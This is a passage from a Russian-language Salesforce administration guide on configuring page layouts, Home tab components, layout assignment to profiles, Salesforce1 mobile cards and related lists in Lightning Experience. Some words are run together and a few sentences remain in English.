«Выбрать по умолчанию», то флажок назначения устанавливается по
умолчанию, номожетбыть снятпользователямидляпереопределенияправила
назначения.

Флажок «При сохранении оценить данную организацию по правилам
территории» отображает флажок «При сохранении оценить данную

Организация-лицо

организацию по правилам территории» на страницах редактирования
сведений об организациях-лицах.

Если установлен флажок «Выбрать по умолчанию», то правила назначения
территорий выполняются автоматически.

Если установленыфлажки «Показать на странице редактирования» и
«Выбрать по умолчанию», то флажок «При сохранении оценить данную
организацию по правилам территории» настраницередактированиясведений
оборганизацииможетбыть снят; в этомслучаеправиланазначениятерриторий
не выполняются.
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Флажок «Электронное уведомление» отображает флажок «Отправить
электронное уведомление» на страницах редактирования сведений о задачах.

Задача

Прим.: Индивидуальный выбор стандартного состояния флажка
переопределяет настройки на уровне организации.

СМ. ТАКЖЕ:

Элементы пользовательского интерфейса расширенного редактора макетов страниц

Настройка макетов страниц с помощью расширенного редактора макетов страниц

Советы по работе с макетами страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Макеты страниц доступны в
версиях: все версии.

Создание и удаление
макетов страниц доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены советы по поддержке оптимальной структуры макетов страниц.

• Чтобы ограничить доступ пользователей к полям, воспользуйтесь средствами
безопасностиуровняполя. Чтобыорганизоватьстраницысведенийиредактирования
на вкладке, пользуйтесь в основном макетами страниц. Данный алгоритм позволяет
сократить количество обслуживаемых макетов страниц. Параметры безопасности
поля переопределяют параметры доступности и доступности только для чтения,
заданные для макета страницы, если безопасность поля использует более строгие
параметры, чем макет страницы.

• Удалите ненужные поля.

• Минимизируйте количество обязательных полей.

• Объедините похожие поля в разделы.

• Определите правильную последовательность табуляции для каждого раздела.

• Проверьте макеты в режимах чтения и редактирования.

• Добавьте текст справки и описание в настраиваемые поля. Текст справки позволяет
пояснить пользователям искомый тип данных.

• Чтобы создать уникальные макеты для разных записей в версии Enterprise Edition, Unlimited Edition или Performance
Edition, воспользуйтесь типами записей.

• Чтобы оптимизировать связанные списки, определите их общий порядок, способ сортировки записей и параметры
отображения соответствующих столбцов и кнопок.

• Чтобы настроить макет профиля пользователя в приложении Salesforce1, рекомендуем создать или изменить макет в
разделе «Профиль пользователя: макеты страниц».

• Если зависимыйпоиск располагается выше управляющегополя в макете страницы, рекомендуемназначитьфильтру
поиска статус дополнительногоилиизменитьмакет страницы. Отображениеобязательного зависимогопоиска выше
управляющего поля в макете страницы может дезориентировать пользователей, которые обычно вводят данные
начиная с верхней части страницы.

• Периодическисистемавыполняетфоновыйпроцесс, которыйпозволяеточиститьметаданные, связанныесудаленными
настраиваемыми полями. Данный процесс влияет на поля «Дата последнего изменения» и «Последнее изменение
сделано», используемые в макетах страниц, типах записей и настраиваемых объектах.

• Компания Salesforce рекомендует создавать не более 200 макетов страниц. Хотя предела нет, управлять макетами
страниц может оказаться трудным, если их количество превышает 200.
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Рекомендации по макетам страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Макеты страниц доступны в
версиях: все версии.

Создание и удаление
макетов страниц доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Держите эти рекомендации в уме при работе с макетами в расширенном редакторе
макетов страниц.

• Версия Professional Edition системы Salesforceнеподдерживаетпереименованиемакета
страницы.

• Макет страницы может содержать не более 20 элементов S-Control, 20 страниц
Visualforce, 20 развернутых поисков и 100 связанных списков. Поля и настраиваемые
ссылки могут добавляться без ограничений. Вы можете добавить одну панель
мониторингаWave Analytics на один макет страницы.

Прим.: Страница Visualforce может быть добавлена в макет страницы только
один раз.

• Параметр «Мини-представление консоли» не может быть выбран для макета
«Закрыть обращение» или макетов страниц «Зарегистрировать обращение» и
«Просмотр обращений» на портале самообслуживания. Параметр
«Мини-представлениеконсоли»неможетбытьвыбрандлямакетовстраницгруппы,
работающей с возможностями.

• Макеты мини-страниц не могут быть определены для макета «Закрыть обращение» или макетов страниц
«Зарегистрировать обращение» и «Просмотр обращений» на портале самообслуживания. Макеты мини-страниц не
могут быть определены для макетов страниц группы, работающей с возможностями.

• Макеты страниц для объекта «Пользователь» содержат только настраиваемые поля, настраиваемые ссылки, элементы
S-Control и страницы Visualforce. Макеты страниц для объекта «Пользователь» не содержат теги, связанные списки,
настраиваемые кнопки и настройки стандартных полей. Кроме того, параметры безопасности поля доступны только
длянастраиваемыхполейобъекта «Пользователь». Независимоотдействий, доступныхвмакетестраницыпользователя,
страница профиля пользователя отображает только стандартные действия Chatter («Сообщение», «Файл», «Ссылка»,
«Опрос» и «Благодарность»).

• Редактирование атрибутов доступно только при использовании макета страницы, установленного из управляемого
приложения. Некоторые изменения, вносимые в управляемыемакеты страниц (например, добавление компонентов),
применяются при редактировании макета страницы, но не будут отображаться на странице сведений о записи.

• Макетымини-страницмогут быть заданы для объекта «Пользователь», ноне поддерживают добавление стандартных
полей или связанных списков. Кроме того, настраиваемый макет мини-страницы не отображается на консоли Agent
Console.

• Изменениямакета группыChatterотображаются тольковприложении Salesforce1.Изменения, внесенныевпубликатор
группы (действия и макет), отображаются в полной версии сайта Salesforce и приложении Salesforce1.
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Настройка макетов вкладки «Начальная страница»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макетов
начальной страницы:
• «Настройка

приложения»

Для создания илиизменения
макетов начальной
страницы:
• «Настройка

приложения»

Принеобходимостивкладка «Начальнаястраница» можетбытьдополненакомпонентами
(например, боковая панель, логотип компании, снимок панели мониторинга или
созданные настраиваемые компоненты). Снимок панели мониторинга — это вырезка
верхней строки компонентов панели мониторинга. Подобно другим вкладкам, разные
макетыначальной страницымогут быть назначеныразнымпользователямна основе их
профилей.

При необходимости добавьте компоненты на боковую или основную панель. Кроме
того, определите необходимость отображения настраиваемых компонентов боковой
панели на вкладке «Начальная страница» или всех страницах Salesforce.

Чтобы настроить макеты начальной страницы, просмотрите разделы ниже.

• Создание настраиваемых компонентов начальной страницы на странице 4371

• Разработка макетов начальной страницы на странице 4373

• Назначение макетов вкладки «Начальная страница» профилям на странице 4375

Создание настраиваемых компонентов начальной страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
макетов начальной
страницы:
• «Настройка

приложения»

Использование пользовательских компонентов для настройки начальной страницы
Salesforce Classic для пользователей. Добавляйте HTML, изображения, ссылки и другие
элементы, чтобы увеличить производительность пользователей.

Перед началом работы:

• При создании компонента типа «Настраиваемая ссылка» рекомендуем сначала
определитьнастраиваемыессылкивкладки «Начальнаястраница». См. раздел «Общие
сведения о настраиваемых кнопках и ссылках» на странице 5385.

• При создании компонента типа «Изображение» рекомендуем сначала загрузить
изображение на вкладку «Документы».

• При создании компонента типа «Область Visualforce» рекомендуем сначала создать
страницу Visualforce.

1. Введите строку «Компоненты начальной страницы» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Компоненты начальной страницы».

2. Нажмите кнопку «Создать».

3. Введите имя компонента. При использовании настраиваемых ссылок данное имя
отображается в качестве заголовка раздела на боковой панели вкладки «Начальная
страница».

4. Выберите нужный тип компонента.

5. Щелкните «Далее», после чего выполните один или несколько следующихшагов.

• При использовании ссылок выберите соответствующие настраиваемые ссылки и нажмите кнопку «Добавить».
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• При использовании изображений нажмите кнопку «Вставить изображение», выберите папку документов и
нужный графический файл. Обратите внимание: чтобы предоставить пользователям доступ к изображению,
сохраните графический файл в общедоступной папке и установите флажок «Внешний доступ» в свойствах
документа.

Совет: Оптимальнаяпроизводительность гарантируется толькоприиспользованииизображенияразмером
не более 20 Кб.

• Прииспользовании компонента типа «Область HTML» определите область его отображения (широкийили узкий
столбец) и заполните поле ниже нужным содержимым.

Прим.: Компоненты начальной страницы типа «Область HTML» не поддерживают JavaScript, CSS, элементы
iframe и другую расширенную разметку. Чтобы дополнить компонент начальной страницы кодом JavaScript
или другими расширенными HTML-элементами, рекомендуем использовать компонент типа «Область
Visualforce».

• При использовании компонента типа «Область Visualforce» определите область его отображения (широкий или
узкий столбец), выберите нужную страницу Visualforce и укажите высоту.

6. Нажмите кнопку «Сохранить».

Созданный компонент начальной страницы должен быть добавлен в макет начальной страницы. См. раздел «Создание
макетов начальной страницы» на странице 4373.

Прим.: Компоненты узкого столбца отображаются на боковой панели. Данные компоненты отображаются на
боковой панели других страниц Salesforce только в том случае, если заданы соответствующие параметры
пользовательского интерфейса или назначено полномочие «Показывать настраиваемую боковую панель на всех
страницах».

СМ. ТАКЖЕ:

Компоненты начальной страницы «Область Visualforce»

Советы и рекомендации для компонентов начальной страницы

Компоненты начальной страницы «Область Visualforce»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Компоненты начальной страницы типа «Область Visualforce» позволяют добавлять
динамическое содержимое на начальную страницу. Например, пользователи могут
просматриватьдиаграммыодновременносинтерфейсомотчетовипанелимониторинга
REST API или добавлять приложение холста на начальную страницу.

Страница Visualforce, выбранная для компонента, может использовать стандартный или
настраиваемый контроллер. При необходимости добавьте JavaScript на страницу
Visualforce. Помните, что компонент отображается в макете начальной страницы
посредством элемента iframe, поэтому JavaScript может не поддерживать страницу,
содержащую данный компонент.

Примериспользования

При отображении компонента начальной страницы типа «Область Visualforce» на боковой панели система позволяет
динамически получать код записи и URL-адрес верхнего уровня для страницы, содержащей данный компонент, путем
добавления глобальной переменной $CurrentPage в разметку Visualforce.
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Глобальнаяпеременная $CurrentPage позволяетпросматриватьпараметрыстрокизапросадля страницыпосредством
атрибута parameters и каждый отдельный параметр.

$CurrentPage.parameters.parameter_name

Коду записи и URL-адресу верхнего уровня соответствуют следующие параметры: id и sfdcIFrameOrigin
соответственно. Дополнительную информацию см. в разделе «Получение параметров строки запроса» Руководства
разработчика Visualforce.

Разработка макетов начальной страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макетов
начальной страницы:
• «Настройка

приложения»

Для создания илиизменения
макетов начальной
страницы:
• «Настройка

приложения»

Прежде чем создать макеты начальной страницы, рекомендуем создать компоненты,
которые должны отображаться на вкладке «Начальная страница». Можно разработать
макеты на основании уникальных потребностей организации и пользователей.

1. Введите строку «Макеты главной страницы» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макеты главной страницы».

2. Щелкните существующий макет, чтобы изменить его, или создайте новый. Также
можно выбрать нужный макет и нажать кнопку «Клонировать».

3. При создании макета введите его имя и нажмите кнопку «Сохранить».

4. Выберите компоненты для отображения в макете.

• Чтобыдобавитькомпонент «Поискстатей», установитефлажок «Поискстатей».
Данный компонент доступен только пользователям Salesforce Knowledge.

• Чтобы добавить компонент «Клиентский портал», установите флажок
«Приветствие клиентского портала». Если страница Visualforce сайта «Мой
профиль» включена, этот компонент содержит индивидуальное сообщение с
приветствием и ссылку на профиль пользователя портала. Страница «Мой
профиль» позволяет пользователям выполнять вход на сайт Force.com или
клиентскийпортална сайтах Force.comдляобновлениясобственныхконтактных
данных. Изменениеданнойстраницыинициируетобновлениесоответствующих
записей контактов и пользователей портала.

• Чтобы разрешить пользователям возобновление приостановленных сеансов
потока, установитефлажок «Приостановленныесеансыпотока». Данныйкомпонентотображает толькосеансы
потока, приостановленные пользователем.

5. Нажмите кнопку «Далее».

6. Настройте порядок отображения узких и широких компонентов. Чтобы переместить выбранный компонент,
воспользуйтесь стрелками.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Assign Home Tab Page Layouts to Profiles

Настройка макетов вкладки «Начальная страница»
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Советы и рекомендации для компонентов начальной страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

• Стандартные компоненты без ссылки «Правка» доступны только для чтения.

• Компоненты, выбранные для узкого столбца, отображаются на боковой панели.
Данные компоненты отображаются на боковой панели других страниц Salesforce
только в том случае, если заданы соответствующие параметры пользовательского
интерфейса. Чтобы разрешить отображение компонентов боковой панели на всех
страницах только для определенных пользователей, назначьте им полномочие
«Показывать настраиваемую боковую панель на всех страницах».

• При редактировании стандартного компонента «Сообщения и предупреждения»
введите текст, которыйдолженотображатьсяпользователям. Убедитесь, чтовведенный HTML-кодявляетсядопустимым
и имеет правильную структуру.

Прим.: Компоненты начальной страницы Сообщения и уведомления не поддерживают JavaScript, CSS, iframes
и другие расширенные виды разметки.

• При редактировании стандартного компонента начальной страницы «Настраиваемые ссылки» введите текст ссылки
в поле «Закладка». Введите полный адрес веб-сайта в поле «URL-адрес»  (например, http://www.yahoo.com).
Чтобыдобавить ссылку на страницу Salesforce, введите только часть URL-адреса после salesforce.com  (например,
/00Ox0000000esq4). Данные ссылки всегда открываются в основном окне Salesforce, а не во всплывающем.

• Стандартный компонент начальной страницы «Настраиваемые ссылки» — это быстрый способ добавления ссылок
на боковую панель. Данный компонент не поддерживает поля слияния, функции (например, URLFOR), выполнение
JavaScript и настраиваемые свойства открытия окна. Чтобы воспользоваться данными дополнительнымифункциями,
выполните указанные ниже действия.

1. Введите строку «Начальная страница» в поле «Быстрый поиск» в меню «Настройка», выберите пункт
«Настраиваемые ссылки» и создайте на странице свои настраиваемые ссылки на начальную страницу.

2. Введитестроку «Начальная страница» вполе «Быстрый поиск» вменю «Настройка», выберитепункт«Компоненты
начальной страницы» и создайте настраиваемый компонент типа «Ссылки» начальной страницы на странице,
которая содержитнастраиваемыессылки, созданныенапредыдущемэтапе. Созданиенастраиваемогокомпонента
начальнойстраницыдляссылокнеинициируетизменениевизуальногооформлениядляконечныхпользователей.

• Компонент «Снимок панели мониторинга» отображает три последних просмотренных компонента панели
мониторинга, к которым пользователь осуществил доступ. Снимок панели мониторинга отображается на вкладке
«Начальная страница» только при наличии доступа как минимум к одной панели мониторинга.

• При создании макетов начальной страницы клиентского портала рекомендуем добавить следующие компоненты:
«Поиск», «Поиск решения», «Недавние элементы», «Приветствие клиентского портала» и настраиваемый компонент
«Область HTML», добавляющийфирменный стиль компании в широкий столбец.

СМ. ТАКЖЕ:

Создание настраиваемых компонентов начальной страницы
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Assign Home Tab Page Layouts to Profiles

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения макетов
начальной страницы:
• «Настройка

приложения»

Макеты начальной страницы доступны пользователям только после их назначения
профилю пользователя.

1. Введите строку «Макеты главной страницы» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макеты главной страницы».

2. Нажмите кнопку «Назначение макета страницы».

3. Щелкните «Редактировать назначение».

4. Выберите соответствующий макет страницы для каждого профиля.

По умолчанию всем пользователям, включая пользователей клиентского портала,
назначается макет «Стандартная начальная страница».

5. Нажмите кнопку «Сохранить».

Совет: Пользователимогутнастраиватьпараметрыпанелимониторинганавкладке
«Начальная страница» путем редактирования личных параметров.

Назначение макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Макеты страниц, доступные пользователям, должны быть назначены после их
определения. Профиль пользователя определяет доступные макеты страниц. Кроме
того, если организация использует типы записей для отдельной вкладки, то доступные
макеты страниц определяются комбинацией профиля и типа записи.

Ниже перечислены области, поддерживающие назначение макетов страниц.

• Макет страницы настройки объекта или страница типа записи

• Исходный или расширенный пользовательский интерфейс профиля.

Чтобы проверить уровень доступа пользователей к полям на основе макета страницы
и параметров безопасности поля, воспользуйтесь сеткой доступности полей.

СМ. ТАКЖЕ:

Макеты страниц

Назначение макетов страниц в исходном пользовательском интерфейсе профиля

Назначение типов записей и макетов страниц в расширенном пользовательском интерфейсе профиля

Типы записей

Макеты страниц и безопасность поля
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Назначение макетов страниц на странице «Макеты страниц» или «Типы записей» раздела «Настроить»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения макетов
страниц:
• «Управление

профилями и наборами
полномочий»

1. Впараметрахуправленияобъектомперейдитекразделу «Макетыстраниц» или «Типы
записей».

2. Нажмите кнопку «Назначение макета страницы».

3. Нажмите кнопку «Редактировать назначение».

4. Чтобывыбратьмакет страницыдля каждогопрофиля, воспользуйтесьприведенной
таблицей. Данная таблицасодержитназначениямакетовстраницдлявсехпрофилей.
Если в организации используются типы записей, то таблица поддерживает
возможность выбора макета страницы для каждого профиля и типа записи.

Ниже перечислены рекомендации по назначению макетов страниц.

• Чтобы выбрать все ячейки в строке или столбце таблицы, щелкните заголовок
нужной строки или столбца.

• Чтобы выбрать несколько смежных ячеек, строк или столбцов, воспользуйтесь
комбинацией SHIFT+щелчок.

• Чтобы выбрать несколько отдельных ячеек, строк или столбцов, воспользуйтесь
комбинацией CTRL+щелчок.

• Чтобывыбрать диапазонячеек, щелкнителюбуюячейкуипереместите указатель
мыши.

• Чтобы просмотреть другой набор типов записей, нажмите кнопку «Далее» или
«Назад».

Выбранныеназначениямакетовстраницвыделяютсяцветом. Измененныеназначениямакетовстраницотображаются
курсивом до сохранения изменений.

5. Чтобы назначить другой макет страницы, выберите нужное значение в раскрывающемся списке «Макет страницы
для использования» и повторите предыдущее действие для нового макета страницы.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Назначение макетов страниц

4376

Изменение внешнего вида SalesforceРасширение Salesforce посредством интерактивных
инструментов



Редактирование многострочных макетов продуктов возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
многострочных макетов
продуктов возможности:
• «Настройка

приложения»

Пользователь может настроить столбцы, отображающиеся при нажатии кнопки
«Редактировать все» в связанном списке «Продукты» на странице сведений о
возможности.

1. Откройте страницу «Макеты страниц» посредством параметров управления
перспективными продуктами.

2. Щелкните ссылку «Правка» напротив имени нужного макета страницы продуктов
возможности.

3. Щелкните «Редактировать многострочныймакет».

4. Переместите поля между списками «Доступные поля» и «Выбранные поля».

• Чтобы определить поля, которые должны отображаться в макете, выберите как
минимум одно поле в списке «Доступные поля» и нажмите кнопку «Добавить»
или «Удалить».

• Чтобы изменить порядок отображения полей в макете, выберите как минимум
одно поле в списке «Выбранные поля» и нажмите кнопку «Вверх» или «Вниз».

• Чтобы выбрать несколько отдельных полей, воспользуйтесь комбинацией
CTRL+щелчок.

• Чтобы выбрать группу полей, воспользуйтесь комбинацией SHIFT+щелчок.

5. Чтобы применить внесенные изменения, нажмите кнопку «Сохранить».

Создание макетов страниц для настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения макетов
страниц для настраиваемых
объектов:
• «Настройка

приложения»

Макеты страниц определяют поля, доступные пользователям для просмотра и
редактирования при вводе данных для записи настраиваемого объекта. При создании
настраиваемого объекта автоматически создается стандартный макет страницы. Кроме
того, пользователимогутсоздаватьсобственныемакетыстраницы, содержащиесвязанные
спискиинастраиваемыессылки. Настраиваемыйобъект, длякоторогоотсутствуетмакет
страницы, доступенпользователямпосредствоминтерфейсаForce.com API, позволяющего
управлять настраиваемыми данными и создавать настраиваемый пользовательский
интерфейс.
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1. Откройте страницу «Макеты страниц» посредством параметров управления настраиваемым объектом.

2. Чтобы изменить макет страницы, откройте существующиймакет страницы для редактирования или создайте новый
макет страницы.

3. Укажитеимя для новогомакета страницы. Принеобходимости выберите готовыймакет страницыдля клонирования.

4. Внесите необходимые изменения в макет страницы.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Макеты страниц

Поиск по параметрам управления объектами

Алгоритм работы макетов страниц в приложении Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Рекомендуем использовать расширенный редактор макетов страниц для настройки
макета страниц сведений о записях объекта, изменения действий, а также выбора полей
и связанных списков, которые должны отображаться в приложении Salesforce1.

Нижеперечисленыобластимобильногоприложения Salesforce1, управляемыемакетами
страниц.

Связанные сведения и страницы сведений о записях
При просмотре записи в приложении Salesforce1 отображаются поля, страницы
Visualforce и связанные списки на основе типа записи и профиля пользователя.
Связанныеспискиотображаютсякакоднострочныекарты, содержащиеимястраницы
или связанного списка. Касание карты связанного списка инициирует отображение
сведений.

Мобильные карты
При необходимости добавьте развернутые поиски, компоненты, приложения холста и страницы Visualforce в раздел
«Мобильные карты» макета страницы для их отображения в качестве мобильных карт в приложении Salesforce1.
Элементы, добавляемые в данный раздел, не отображаются на странице сведений о записи в полной версии системы
Salesforce. Они отображаются только на странице связанных сведений записи в приложении Salesforce1.
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Прим.: Прииспользованииорганизаций, созданныхпосле выпуска Spring'14, компонент Twitter добавляется по
умолчанию в раздел «Мобильные карты» макетов страниц для соответствующих объектов.

Действия
При использовании приложения Salesforce1 действия раздела «Действия Salesforce1 и Lightning Experience» макета
страницы отображаются на панели действий и в меню действий на страницах записей объекта.

Ниже отображаются страница сведений о записи, страница связанных сведений и меню действий для выборочной
организации.

Макеты страниц в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Макеты страниц доступны в
версиях: все версии.

Создание и удаление
макетов страниц доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройка страниц записей объекта в Salesforce Classic влияет на содержимое страниц
записей объекта в Lightning Experience. Тем не менее, при использовании Lightning
Experience элементы страниц отображаются иначе или вовсе не поддерживаются.

Прииспользованииорганизации, котораяподдерживаетразныемакетыстраниц, создайте
макетыстраницпрямоиз связанногосписка «Макетыстраниц» любогообъекта вразделе
«Менеджер объектов». Чтобы отредактировать или удалить макеты страниц объекта,

щелкните значок напротив нужного макета страницы в связанном списке «Макеты
страниц».

Ниже приведен образец записи контакта в Lightning Experience. Панель основных
показателей, содержащая ключевые поля записи, является единственной областью
страницы записи, которая не может быть настроена посредством редактора макетов
страниц. Полянапанелиосновныхпоказателейнастраиваютсяпосредствомкомпактного
макета.
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Lightning Experience поддерживает указанные ниже элементы макетов страниц.

Действия
Действия отображаются разными областями (например, панель основных показателей, вкладка действий и вкладка
сотрудничества). Действия извлекаются из списка действий в разделе «Действия Salesforce1 и Lightning Experience»
макета страницы. Lightning Experience поддерживает только некоторые действия.

Дополнительную информацию см. в разделе «Действия в Lightning Experience» на странице 5365.

Приложения холста
Lightning Experience поддерживает приложения холста.

Настраиваемые ссылки
Настраиваемые ссылки отображаются на вкладке «Сведения».

Поля
Поля отображаются на вкладке «Сведения». При необходимости удалите или измените порядок отображения полей
макета страницы посредством редактора макетов страниц.

Связанные списки
Связанные списки добавляются в Lightning Experience как компоненты Lightning. The first eight related lists show related
list buttons, the first several records from the list, and a link to open the full list of records. For any additional related lists, only the
list name appears in the card. Users can still work with these related lists—simply click the related list name to access the full list.
Here, users can see records in the list and use related list buttons (such as New) or row-level record actions. Lightning Experience
поддерживаеттольконекоторыесвязанныесписки. Например, связанныйсписок «Журнал объекта» неподдерживается.

Стандартные и настраиваемые кнопки
Lightning Experienceобрабатываетстандартныеинастраиваемыекнопкикакдействия (подобноприложениюSalesforce1).

Важное замечание: Custom buttons that call JavaScript aren’t supported in Lightning Experience.

Страницы Visualforce
Страницы Visualforce, добавленные в макет страницы, отображаются на вкладке «Сведения». Lightning Experience
поддерживает только страницы Visualforce со включенным параметром «Доступно для мобильных приложений
Salesforce и страниц Lightning».
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Lightning Experience не поддерживает страницы Visualforce, добавленные в раздел «Мобильные карты» в качестве
компонентов.

Lightning Experience не поддерживает указанные ниже элементы макетов страниц.

• Пробелы

• Развернутые поиски

• Мобильные карты

Прим.: Карта Twitter, отображаемая страницами организаций, контактов и интересов в Lightning Experience,
отличается от компонента Twitter, доступного как мобильная карта в редакторе макетов страниц. Карта Twitter в
Lightning Experience является компонентом Lightning. Она отображается только после включения функции
«Социальные организации и контакты».

• Элементы S-Control

• Разделы

• Теги

Прим.: Настройка макетов начальных страниц записей Lightning Experience не может выполняться посредством
расширенногоредакторамакетов страниц. Независимоотвыбранногопрофиляилитипа записи, Lightning Experience
отображает всем пользователям одинаковый макет записи.

СМ. ТАКЖЕ:

Конфигурация вкладок вызовов, задач и событий в компоновщике событий в системе Lightning Experience

Конфигурация действий электронной почты в компоновщике действий в системе Lightning Experience

Советы по оптимизации макетов страниц в Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Ниже перечислены некоторые советы и рекомендации по адаптации текущих макетов
страниц для мобильных устройств.

Макеты страниц, содержащие десятки полей и множество связанных списков, могут
беспрепятственноотображатьсянамониторах, тогда какприиспользованиинебольших
мобильныхустройствпросмотрзаписейможетбытьпроблематичным. Системапозволяет
предоставлятьпользователяммобильныхустройствбыстрыйдоступкнужнымсведениям
путем определения важных полей и связанных списков.

Нижеперечисленывопросы, позволяющиеправильнооптимизироватьмакетстраницы.

• Какие важные сведения должны быть доступны для быстрого обзора?

• Что является важным для пользователей, работающих в приложении Salesforce1?

• Какиедействияилипроцессыможноавтоматизировать, чтобыпользователямнеприходилосьвыполнятьихвручную?

Основные сведения: систематизация и сокращение количества полей

• Чтобы систематизировать данные путем отображения самых важных сведений вверху страницы, рекомендуем
использовать разделы. Как правило, пользователям удобнее искать логически объединенные поля. Систематизация
похожих полей посредством разделов позволяет ускорить процесс поиска нужных сведений. Пользователь должен
просто прокрутить страницу до нужного раздела.

• Поля телефона или эл. почты, используемые записями организаций, контактов и интересов, могут располагаться
ниже. Данные поля уже доступны посредством значков и на панели действий каждой страницы записи.
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• Количество столбцов, предназначенных для отображения полей на странице, определяется типом используемого
устройства. Поля отображаются одним столбцом на телефонах, а двумя столбцами на планшетных и настольных
компьютерах.

• Чтобы предоставить пользователям мобильных устройств быстрый доступ к самым важным полям без открытия
страниц сведений о записях, рекомендуем использовать компактные макеты, предназначенные для отображения
основных сведений о записях и карт предварительного просмотра записей в приложении Salesforce1. В ближайшее
время компактные макеты будут рассмотрены подробнее.

• Минимизируйте количество обязательных полей. Обязательные поля отображаются на странице сведений всех
макетов страниц, поэтому обязательность каждого поля должна быть обоснованной. При необходимости убедите
заинтересованные лица в возможности сохранения записи без обязательного поля.

• Если организация поддерживает типы записей, то их применение позволяет исключить отображение общих полей
во всех записях.

• Чтобы сократить количество полей, отображаемых на экране, рекомендуем использовать стандартные значения для
новых записей.

Управление мобильными картами в расширенном редакторе макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Добавьте развернутыепоиски, компонентыи страницыVisualforce в раздел «Мобильные
карты» макета страницы для их отображения в качестве мобильных карт в приложении
Salesforce1.

Элементы, добавляемые в раздел «Мобильные карты», не отображаются на странице
сведений о записи в полной версии системы Salesforce, но отображаются только на
странице связанных сведений записи в приложении Salesforce1.

При необходимости добавьте данные типы элементов в раздел «Мобильные карты»
макета страницы.

• Компоненты

• Развернутые поиски

• Страницы Visualforce

• Приложения холста

Некоторые стандартные объекты используют мобильные карты, добавленные по
умолчанию. Чтобы добавить или удалить карты, настройте макет страницы.

1. Откройте редактор макетов страниц.

2. Перетащитеэлементиз категории «Развернутыепоиски», «Компоненты», «Страницы
Visualforce» или «Приложения холста» в раздел «Мобильные карты».

3. Сохраните макет страницы.

Сохранение макета инициирует немедленное отображение добавленных элементов в
приложении Salesforce1. Чтобы просмотреть изменения, рекомендуем обновить страницу.
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Настройка связанных списков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки связанных
списков:
• «Настройка

приложения»

Можно настроить кнопки, отображаемые столбцы, порядок следования столбцов и
порядок сортировки записей связанных списков на страницах сведений о записях в
системе Salesforce и клиентском портале Salesforce.

1. Откройте редактор макетов страниц.

2. Чтобы изменить связанный список макета, дваждыщелкните нужный список. При
использованиирасширенногоредакторамакетовстраницщелкните значок гаечного
ключа ( ).

Прим.: Связанный список «Журнал» не содержит данные, поэтому не может
быть настроен. Связанный список «Журнал» ссылается на данные, хранящиеся
в других областях.

3. Чтобы настроить поля, отображаемые в связанном списке, выполните указанные
ниже действия.

• Чтобы добавить или удалить поля из столбцов связанного списка на макете
страницы, выберите как минимум одно поле и воспользуйтесь стрелками. При
необходимости определите порядок отображения столбцов связанного списка.
Связанный список может содержать не более 10 полей.

Прим.: Нельзя переместить первое поле связанного списка, потому что оно является уникальным
идентификатором для записи.

Можно добавить настраиваемые поля типа области подробного текста к связанному списку. Однако нельзя
добавить некоторые стандартные поля типа области подробного текста. Например, нельзя добавить поле
описания на возможности к связанному списку.

• Чтобы выбрать несколько отдельных полей, воспользуйтесь комбинацией CTRL+щелчок.

• Чтобы выбрать группу полей, воспользуйтесь комбинацией SHIFT+щелчок.

